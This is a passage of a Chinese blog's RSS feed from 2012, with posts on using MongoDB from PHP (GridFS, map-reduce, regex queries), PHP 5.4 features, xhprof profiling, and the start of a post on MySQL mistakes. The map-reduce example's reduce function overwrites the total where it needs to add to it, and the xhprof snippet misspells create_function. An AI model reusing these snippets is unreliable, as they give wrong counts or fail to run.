array(</div><div>&nbsp;&nbsp;"crodas" =&gt; "write", &nbsp;</div><div>&nbsp;&nbsp;"everybody" =&gt; "read",</div><div>&nbsp;)</div><div>);</div><div>$grid = $db-&gt;getGridFS();</div><div>$grid-&gt;storeFile("/file/to/path.avi", $metadata);</div><div></div><div>正如你所看到的，这很简单且容易理解。</div><div></div><div>十、Map-Reduce</div><div>Map-Reduce是一种处理大量信息的操作手段。map操作应用于每个文档并产生一套新的key-value数据对。reduce操作使用map功能产生的结果并产生基本每个key的单一结果。</div><div>MongoDB Map-Reduce功能可以应用到集合上用于数据转换，这和Hadoop很类似。</div><div>当map处理完成后，结果被保存并且通过键值(key value)被分组。对每个结果键(key)，使用2个参数来调用reduce功能：键(key)及其所有值的数组。</div><div>为了更好地理解它的工作原理，我们假设有了前面定义过的blog的提交文档，接下来你想使每个提交的内容有一系列的tag，如果你想获得关于这些tag的统计情况，你只需要像下面这样计算一下即可：</div><div>首先定义map和reduce功能代码，</div><div>$map = new &nbsp;MongoCode("function () {</div><div>&nbsp;&nbsp;var i;</div><div></div><div>&nbsp;&nbsp;for (i=0; i &lt; this.tags.length; i++) {</div><div>&nbsp;&nbsp;</div><div>&nbsp;&nbsp; emit(this.tags[i], {count: 1});</div><div>&nbsp;&nbsp;}</div><div>}");</div><div></div><div>$reduce = new MongoCode("function (key, values) {</div><div>&nbsp;&nbsp;var i, total=0;</div><div></div><div>&nbsp;&nbsp;for (i=0; i &lt; values.length; i++) {</div><div>&nbsp;&nbsp; total = values[i].count;</div><div>&nbsp;&nbsp;}</div><div>&nbsp;&nbsp;return {count: total}</div><div>}");</div><div></div><div>然后执行map-reduce命令:</div><div></div><div>$map_reduce = array(</div><div>&nbsp;</div><div>&nbsp;'out' =&gt; 'tags_info',</div><div></div><div>&nbsp;</div><div>&nbsp;'verbose' =&gt; true,</div><div></div><div>&nbsp;</div><div>&nbsp;'mapreduce' =&gt; 'posts',</div><div>&nbsp;'map' =&gt; $map,</div><div>&nbsp;'reduce' =&gt; $reduce,</div><div>);</div><div></div><div>$information = $db-&gt;command($map_reduce);</div><div>var_dump($information);</div><div></div><div>如果MongoDB运行在切片(sharded)环境，那么这个数据处理功能将会在所有shard节点上并行。</div><div>要知道执行map-reduce处理通常是很慢的。它的目的是把大量的数据分布在许多服务器上。所以，如果你有许多服务器，你就可以把这个操作分布在这些服务器上进行处理并获得结果，这会比在一台服务器上运行所需的时间要少得多。</div><div>建议在后台运行map-reduce处理，因为它们需要花比较长的时候才能完成。在这种情况下，如果通过Gearman来异步管理启动它是个不错的方法。</div><div></div><div>十一、Auto-sharding</div><div>在前面多次提到sharding，但你可能并不熟悉这个概念。</div><div>Data sharding是一种把数据分布在多个服务器上的数据库技术手段。</div><div>MongoDB只需要很少的配置就可完成auto-sharding。然而，安装和配置一个shard已超出本文章的范围。</div><div>下面这张图展示了工作在shard环境中的MongoDB,这样你会在你使用sharding时都发生了什么有个了解。</div><div><img src="http://hiphotos.baidu.com/bsdgo/pic/item/2bc4ec9ab83f4c5f6f068c1d.jpg"  alt="" /><br /><br />&nbsp;十二、其它</div><div>正则表达式使用面面的格式：</div><div>"/&lt;regex&gt;/&lt;flags&gt;"</div><div></div><div>和SQL语句中的 username LIKE '%bar%'等价的方式如下：</div><div>&lt;?php</div><div>$filter = array(</div><div>'username' =&gt; new MongoRegex("/.*bar.*/i"),</div><div>);</div><div></div><div>$collection-&gt;find($filter);</div><div>?&gt;</div><div></div><div>在使用Regex时要小心，大多时候它不能使用索引，因此它将对整个数据扫描，所以比较好的方法是对文档的数目进行限制。</div><div>&lt;?php</div><div>$filter = array(</div><div>'username' =&gt; new MongoRegex("/.*bar.*/i"),</div><div>'karma' =&gt; array('$gt' =&gt; 10),</div><div>);</div><div></div><div>$collection-&gt;find($filter);</div><div>?&gt;</div><div></div><div>使用Regex可以完成如下这个复杂的查询：</div><div>&lt;?php</div><div>$filter = array(</div><div>'username' =&gt; new MongoRegex("/[a-z][a-z0-9\_]+(\_[0-9])?/i"),</div><div>'karma' =&gt; array('$gt' =&gt; 10),</div><div>);</div><div></div><div>$collection-&gt;find($filter);</div><div><div>?&gt;</div></div></div></div></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/381437.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-06-25 17:13 <a href="http://www.blogjava.net/xiaomage234/archive/2012/06/25/381437.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP5.4新特性</title><link>http://www.blogjava.net/xiaomage234/archive/2012/06/12/380594.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Tue, 12 Jun 2012 05:22:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/06/12/380594.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/380594.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/06/12/380594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/380594.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/380594.html</trackback:ping><description><![CDATA[<div><div><p>PHP5.4正式前两天发布了，之前有看了一些PHP5.4主要特性相关文章，因此在这里小结一下。</p> <p>其中好几点更新是由Laruence贡献的！本文部分内容也是源自Laruence的博客。</p> <p><strong>1. Buid-in web server</strong><br /> PHP5.4内置了一个简单的Web服务器，这样在做一些简单程序就方便多了，省去了环境配置的工作，特别对于初学者来说。<br /> 把当前目录作为Root Document只需要这条命令即可:</p> <div><div id="highlighter_875527"  bash"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">$ php -S localhost:3300</code></div></div></td></tr></tbody></table></div></div> <p>也可以指定其它路径：</p> <div><div id="highlighter_319339"  bash"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">$ php -S localhost:3300 -t </code><code plain"="">/path/to/root</code></div></div></td></tr></tbody></table></div></div> <p>还可以指定路由：</p> <div><div id="highlighter_138642"  bash"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">$ php -S localhost:3300 router.php</code></div></div></td></tr></tbody></table></div></div> <p>参考：<a href="http://php.net/manual/en/features.commandline.webserver.php" target="_blank">PHP: Build-in web server</a><br /> <br /> <strong>2. Traits</strong><br /> Traits提供了一种灵活的代码重用机制，即不像interface一样只能定义方法但不能实现，又不能像class一样只能单继承。至于在实践中怎样使用，还需要深入思考。<br /> 官网的一个例子：</p> <div><div id="highlighter_826101"  php"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div><div number2="" index1=""  alt1"="">2</div><div number3="" index2=""  alt2"="">3</div><div number4="" index3=""  alt1"="">4</div><div number5="" index4=""  alt2"="">5</div><div number6="" index5=""  alt1"="">6</div><div number7="" index6=""  alt2"="">7</div><div number8="" index7=""  alt1"="">8</div><div number9="" index8=""  alt2"="">9</div><div number10="" index9=""  alt1"="">10</div><div number11="" index10=""  alt2"="">11</div><div number12="" index11=""  alt1"="">12</div><div number13="" index12=""  alt2"="">13</div><div number14="" index13=""  alt1"="">14</div><div number15="" index14=""  alt2"="">15</div><div number16="" index15=""  alt1"="">16</div><div number17="" index16=""  alt2"="">17</div><div number18="" index17=""  alt1"="">18</div><div number19="" index18=""  alt2"="">19</div><div number20="" index19=""  alt1"="">20</div><div number21="" index20=""  alt2"="">21</div><div number22="" index21=""  alt1"="">22</div><div number23="" index22=""  alt2"="">23</div><div number24="" index23=""  alt1"="">24</div><div number25="" index24=""  alt2"="">25</div><div number26="" index25=""  alt1"="">26</div><div number27="" index26=""  alt2"="">27</div><div number28="" index27=""  alt1"="">28</div><div number29="" index28=""  alt2"="">29</div><div number30="" index29=""  alt1"="">30</div><div number31="" index30=""  alt2"="">31</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">trait SayWorld {</code></div><div number2="" index1=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code keyword"="">function</code> <code plain"="">sayHello() {</code></div><div number3="" index2=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">parent::sayHello();</code></div><div number4="" index3=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code functions"="">echo</code> <code string"="">"World!\n"</code><code plain"="">;</code></div><div number5="" index4=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code functions"="">echo</code> <code string"="">'ID:'</code> <code plain"="">. </code><code variable"="">$this</code><code plain"="">-&gt;id . </code><code string"="">"\n"</code><code plain"="">;</code></div><div number6="" index5=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number7="" index6=""  alt2"=""><code plain"="">}</code></div><div number8="" index7=""  alt1"="">&nbsp;</div><div number9="" index8=""  alt2"=""><code keyword"="">class</code> <code plain"="">Base {</code></div><div number10="" index9=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code keyword"="">function</code> <code plain"="">sayHello() {</code></div><div number11="" index10=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code functions"="">echo</code> <code string"="">'Hello '</code><code plain"="">;</code></div><div number12="" index11=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number13="" index12=""  alt2"=""><code plain"="">}</code></div><div number14="" index13=""  alt1"="">&nbsp;</div><div number15="" index14=""  alt2"=""><code keyword"="">class</code> <code plain"="">MyHelloWorld </code><code keyword"="">extends</code> <code plain"="">Base {</code></div><div number16="" index15=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">private</code> <code variable"="">$id</code><code plain"="">;</code></div><div number17="" index16=""  alt2"="">&nbsp;</div><div number18="" index17=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code keyword"="">function</code> <code plain"="">__construct() {</code></div><div number19="" index18=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code variable"="">$this</code><code plain"="">-&gt;id = 123456;</code></div><div number20="" index19=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number21="" index20=""  alt2"="">&nbsp;</div><div number22="" index21=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">use</code> <code plain"="">SayWorld;</code></div><div number23="" index22=""  alt2"=""><code plain"="">}</code></div><div number24="" index23=""  alt1"="">&nbsp;</div><div number25="" index24=""  alt2"=""><code variable"="">$o</code> <code plain"="">= </code><code keyword"="">new</code> <code plain"="">MyHelloWorld();</code></div><div number26="" index25=""  alt1"=""><code variable"="">$o</code><code plain"="">-&gt;sayHello();</code></div><div number27="" index26=""  alt2"="">&nbsp;</div><div number28="" index27=""  alt1"=""><code comments"="">/*will output:</code></div><div number29="" index28=""  alt2"=""><code comments"="">Hello World!</code></div><div number30="" index29=""  alt1"=""><code comments"="">ID:123456</code></div><div number31="" index30=""  alt2"=""><code spaces"="">&nbsp;</code><code comments"="">*/</code></div></div></td></tr></tbody></table></div></div> <p>参考：<a href="http://cn.php.net/manual/en/language.oop5.traits.php" target="_blank">http://cn.php.net/manual/en/language.oop5.traits.php</a></p> <p><strong>3. Short array syntax</strong><br /> PHP5.4提供了数组简短语法：</p> <div><div id="highlighter_74619"  php"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code variable"="">$arr</code> <code plain"="">= [1,</code><code string"="">'james'</code><code plain"="">, </code><code string"="">'james@fwso.cn'</code><code plain"="">];</code></div></div></td></tr></tbody></table></div></div> <p><strong>4. Array dereferencing</strong></p> <div><div id="highlighter_261914"  php"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div><div number2="" index1=""  alt1"="">2</div><div number3="" index2=""  alt2"="">3</div></td><td><div><div number1="" index0=""  alt2"=""><code keyword"="">function</code> <code plain"="">myfunc() {</code></div><div number2="" index1=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">return</code> <code keyword"="">array</code><code plain"="">(1,</code><code string"="">'james'</code><code plain"="">, </code><code string"="">'james@fwso.cn'</code><code plain"="">);</code></div><div number3="" index2=""  alt2"=""><code plain"="">}</code></div></div></td></tr></tbody></table></div></div> <p>我认为比数组简短语法更方便的是dereferencing，以前我们需要这样：</p> <div><div id="highlighter_905518"  php"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div><div number2="" index1=""  alt1"="">2</div></td><td><div><div number1="" index0=""  alt2"=""><code variable"="">$arr</code> <code plain"="">= myfunc();</code></div><div number2="" index1=""  alt1"=""><code functions"="">echo</code> <code variable"="">$arr</code><code plain"="">[1];</code></div></div></td></tr></tbody></table></div></div> <p>在PHP5.4中这样就行了：</p> <div><div id="highlighter_492432"  php"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code functions"="">echo</code> <code plain"="">myfunc()[1];</code></div></div></td></tr></tbody></table></div></div> <p><strong>5. Upload progress</strong><br /> Session提供了上传进度支持，通过$_SESSION["upload_progress_name"]就可以获得当前文件上传的进度信息，结合Ajax就能很容易实现上传进度条了。</p> <p>参考：<a href="http://www.laruence.com/2011/10/10/2217.html" target="_blank">http://www.laruence.com/2011/10/10/2217.html</a></p> <p>6. JsonSerializable Interface<br /> 实现了JsonSerializable接口的类的实例在json_encode序列化的之前会调用jsonSerialize方法，而不是直接序列化对象的属性。<br /> 参考：<a href="http://www.laruence.com/2011/10/10/2204.html" target="_blank">http://www.laruence.com/2011/10/10/2204.html</a></p> <p><strong>7. Use mysqlnd by default</strong><br /> 现在mysql, mysqli, pdo_mysql默认使用mysqlnd本地库，在PHP5.4以前需要:</p> <div><div id="highlighter_244365"  bash"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">$.</code><code plain"="">/configure</code> <code plain"="">--with-mysqli=mysqlnd</code></div></div></td></tr></tbody></table></div></div> <p>现在：</p> <div><div id="highlighter_512413"  bash"=""><div><a href="http://www.hdj.me/php54#" command_help=""  help"="">?</a></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div number1="" index0=""  alt2"="">1</div></td><td><div><div number1="" index0=""  alt2"=""><code plain"="">$.</code><code plain"="">/configure</code> <code plain"="">--with-mysqli</code></div></div></td></tr></tbody></table></div></div> <p><strong>8. 更多</strong><br /> <a href="http://cn2.php.net/releases/NEWS_5_4_0_beta2.txt" target="_blank">http://cn2.php.net/releases/NEWS_5_4_0_beta2.txt</a></p> </div></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/380594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-06-12 13:22 <a href="http://www.blogjava.net/xiaomage234/archive/2012/06/12/380594.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在生产环境中使用php性能测试工具xhprof</title><link>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372460.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 22 Mar 2012 06:53:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372460.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/372460.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372460.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/372460.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/372460.html</trackback:ping><description><![CDATA[<p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; "><a href="http://mirror.facebook.net/facebook/xhprof/doc.html" style="text-decoration: none; color: #b96f17; ">xhprof</a>是facebook开源出来的一个php性能测试工具，也可以称之为profile工具，这个词不知道怎么翻译才比较达意。跟之前一直使用的xdebug相比，有很多类似之处。以前<a href="http://www.ooso.net/archives/359" style="text-decoration: none; color: #b96f17; ">对xdebug有一些记录还可以供参考</a>，但是它的缺点是对性能影响太大，即便是开启了profiler_enable_trigger参数，用在生产环境中也是惨不忍睹，cpu立刻就飙到high。</p><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">而xhprof就显得很轻量，是否记录profile可以由程序控制，因此，用在生产环境中也就成为一种可能。在它的文档上可以看到这样一种用法：</p><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">以万分之一的几率启用xhprof，平时悄悄的不打枪。</p><pre style="color: #333333; font-size: 12px; line-height: normal; text-align: left; background-color: #ffffff; "><code style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; line-height: 22px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 1.5em; padding-right: 1.5em; padding-bottom: 1.5em; padding-left: 1.5em; font-size: 1.2em; font-family: 'Courier New', 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; display: block; white-space: pre-wrap; overflow-x: auto; overflow-y: auto; background-position: initial initial; background-repeat: initial initial; "><span style="color: #000088; ">if</span> <span style="color: #666600; ">(</span><span style="color: #000000; ">mt_rand</span><span style="color: #666600; ">(</span><span style="color: #006666; ">1</span><span style="color: #666600; ">,</span> <span style="color: #006666; ">10000</span><span style="color: #666600; ">)</span> <span style="color: #666600; ">==</span> <span style="color: #006666; ">1</span><span style="color: #666600; ">)</span> <span style="color: #666600; ">{</span><span style="color: #000000; ">  xhprof_enable</span><span style="color: #666600; ">(</span><span style="color: #000000; ">XHPROF_FLAGS_MEMORY</span><span style="color: #666600; ">);</span><span style="color: #000000; ">  $xhprof_on </span><span style="color: #666600; ">=</span> <span style="color: #000088; ">true</span><span style="color: #666600; ">;</span><span style="color: #000000; "> </span><span style="color: #666600; ">}</span></code></pre><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">在程序结尾处调用方法保存profile</p><pre style="color: #333333; font-size: 12px; line-height: normal; text-align: left; background-color: #ffffff; "><code style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; line-height: 22px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 1.5em; padding-right: 1.5em; padding-bottom: 1.5em; padding-left: 1.5em; font-size: 1.2em; font-family: 'Courier New', 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; display: block; white-space: pre-wrap; overflow-x: auto; overflow-y: auto; background-position: initial initial; background-repeat: initial initial; "><span style="color: #000088; ">if</span> <span style="color: #666600; ">(</span><span style="color: #000000; ">$xhprof_on</span><span style="color: #666600; ">)</span> <span style="color: #666600; ">{</span> <span style="color: #880000; ">// stop profiler</span><span style="color: #000000; ">  $xhprof_data </span><span style="color: #666600; ">=</span><span style="color: #000000; "> xhprof_disable</span><span style="color: #666600; ">();</span> <span style="color: #880000; ">// save $xhprof_data somewhere (say a central DB)</span> <span style="color: #666600; ">...</span><span style="color: #000000; "> </span><span style="color: #666600; ">}</span></code></pre><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">也可以用register_shutdown_function方法指定在程序结束时保存xhprof信息，这样就免去了结尾处判断，给个改写的不完整例子：</p><pre style="color: #333333; font-size: 12px; line-height: normal; text-align: left; background-color: #ffffff; "><code style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; line-height: 22px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 1.5em; padding-right: 1.5em; padding-bottom: 1.5em; padding-left: 1.5em; font-size: 1.2em; font-family: 'Courier New', 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; display: block; white-space: pre-wrap; overflow-x: auto; overflow-y: auto; background-position: initial initial; background-repeat: initial initial; "><span style="color: #000088; ">if</span> <span style="color: #666600; ">(</span><span style="color: #000000; ">mt_rand</span><span style="color: #666600; ">(</span><span style="color: #006666; ">1</span><span style="color: #666600; ">,</span> <span style="color: #006666; ">10000</span><span style="color: #666600; ">)</span> <span style="color: #666600; ">==</span> <span style="color: #006666; ">1</span><span style="color: #666600; ">)</span> <span style="color: #666600; ">{</span><span style="color: #000000; ">  xhprof_enable</span><span style="color: #666600; ">(</span><span style="color: #000000; ">XHPROF_FLAGS_MEMORY</span><span style="color: #666600; ">);</span><span style="color: #000000; ">  register_shutdown_function</span><span style="color: #666600; ">(</span><span style="color: #000000; ">create_funcion</span><span style="color: #666600; ">(</span><span style="color: #008800; ">''</span><span style="color: #666600; ">,</span> <span style="color: #008800; ">"$xhprof_data = xhprof_disable(); save $xhprof_data;"</span><span style="color: #666600; ">));</span><span style="color: #000000; "> </span><span style="color: #666600; ">}</span></code></pre><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">至于日志，我暂时用的是最土的文件形式保存，定期清除即可。</p><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; text-align: left; background-color: #ffffff; ">BTW:xhprof生成的图形方式profile真是酷毙了，哪段代码成为瓶颈，一目了然。</p><img src ="http://www.blogjava.net/xiaomage234/aggbug/372460.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-03-22 14:53 <a href="http://www.blogjava.net/xiaomage234/archive/2012/03/22/372460.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP程序员最常犯的11个MySQL错误</title><link>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372425.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 22 Mar 2012 02:03:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372425.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/372425.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/03/22/372425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/372425.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/372425.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">对于大多数web应用来说，</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">数据库</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">都是一个十分基础性的部分。如果你在使用</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">PHP</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">，那么你很可能也在使用My</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">SQL</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">&#8212;LAMP系列中举足轻重的一份子。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">对于很多新手们来说，使用PHP可以在短短几个小时之内轻松地写出具有特定功能的代码。但是，构建一个稳定可靠的数据库却需要花上一些时日和相关技能。下面列举了我曾经犯过的最严重的11个</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">MySQL</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">相关的错误（有些同样也反映在其他语言/数据库的使用上）。。。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">1、使用MyISAM而不是InnoDB</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 